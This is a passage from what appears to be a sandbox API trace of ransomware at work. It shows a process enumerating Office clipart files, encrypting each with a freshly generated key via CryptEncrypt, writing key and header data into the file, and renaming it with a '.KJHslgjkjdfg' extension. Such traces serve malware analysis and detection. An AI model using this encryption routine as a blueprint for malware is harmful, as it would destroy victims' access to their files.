GetProcessHeap () returned 0x2a0000 [0188.516] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.516] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif.kjhslgjkjdfg")) returned 1 [0188.518] CloseHandle (hObject=0x114) returned 1 [0188.518] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d585700, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d585700, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02742U.BMP", cAlternateFileName="")) returned 1 [0188.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.520] GetProcessHeap () returned 0x2a0000 [0188.520] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.520] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.520] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.520] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.520] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.520] GetProcessHeap () returned 0x2a0000 [0188.520] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.520] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.520] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.520] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.523] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.524] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.524] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.524] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.524] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.524] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.524] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.524] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.524] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.526] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0188.526] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.526] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.526] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.526] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.526] SetEndOfFile (hFile=0x114) returned 1 [0188.530] GetProcessHeap () returned 0x2a0000 [0188.530] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.530] GetProcessHeap () returned 0x2a0000 [0188.530] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.530] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp.kjhslgjkjdfg")) returned 1 [0188.532] CloseHandle (hObject=0x114) returned 1 [0188.532] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a6dc00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1a6dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6d86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02743G.GIF", cAlternateFileName="")) returned 1 [0188.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.533] GetProcessHeap () returned 0x2a0000 [0188.533] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.534] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.534] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.534] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0188.537] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.537] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.537] GetProcessHeap () returned 0x2a0000 [0188.537] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.537] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.538] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.538] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.538] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.538] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.538] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.538] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.538] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.538] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.538] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.538] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.538] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6d86, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6d86, lpOverlapped=0x0) returned 1 [0188.539] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6d90, dwBufLen=0x6d90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6d90) returned 1 [0188.539] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.539] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6d90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6d90, lpOverlapped=0x0) returned 1 [0188.551] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.551] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.551] SetEndOfFile (hFile=0x114) returned 1 [0188.554] GetProcessHeap () returned 0x2a0000 [0188.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.554] GetProcessHeap () returned 0x2a0000 [0188.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.554] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif.kjhslgjkjdfg")) returned 1 [0188.557] CloseHandle (hObject=0x114) returned 1 [0188.557] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe489ed00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe489ed00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5e7b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02746G.GIF", cAlternateFileName="")) returned 1 [0188.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.558] GetProcessHeap () returned 0x2a0000 [0188.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.558] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.558] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.558] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0188.561] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.561] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.561] GetProcessHeap () returned 0x2a0000 [0188.561] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.561] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.561] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.561] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.561] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.562] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.562] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.562] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.562] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.562] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.562] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.562] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.562] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5e7b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5e7b, lpOverlapped=0x0) returned 1 [0188.563] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5e80, dwBufLen=0x5e80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5e80) returned 1 [0188.563] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.563] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5e80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5e80, lpOverlapped=0x0) returned 1 [0188.564] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.564] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.564] SetEndOfFile (hFile=0x114) returned 1 [0188.566] GetProcessHeap () returned 0x2a0000 [0188.566] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.566] GetProcessHeap () returned 0x2a0000 [0188.566] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif.kjhslgjkjdfg")) returned 1 [0188.568] CloseHandle (hObject=0x114) returned 1 [0188.568] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65001c00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65001c00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7d84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02746U.BMP", cAlternateFileName="")) returned 1 [0188.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.569] GetProcessHeap () returned 0x2a0000 [0188.569] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.570] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.570] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.570] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0188.572] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.572] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.572] GetProcessHeap () returned 0x2a0000 [0188.572] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.572] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.572] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.572] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.572] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.572] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.572] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.572] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.572] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.572] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.572] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.572] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.573] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7d84, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7d84, lpOverlapped=0x0) returned 1 [0188.574] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7d90, dwBufLen=0x7d90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7d90) returned 1 [0188.574] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.574] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7d90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7d90, lpOverlapped=0x0) returned 1 [0188.574] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.574] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.574] SetEndOfFile (hFile=0x114) returned 1 [0188.577] GetProcessHeap () returned 0x2a0000 [0188.577] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.577] GetProcessHeap () returned 0x2a0000 [0188.577] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.577] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp.kjhslgjkjdfg")) returned 1 [0188.579] CloseHandle (hObject=0x114) returned 1 [0188.579] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd62df00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd62df00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6090, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02748G.GIF", cAlternateFileName="")) returned 1 [0188.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.580] GetProcessHeap () returned 0x2a0000 [0188.580] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 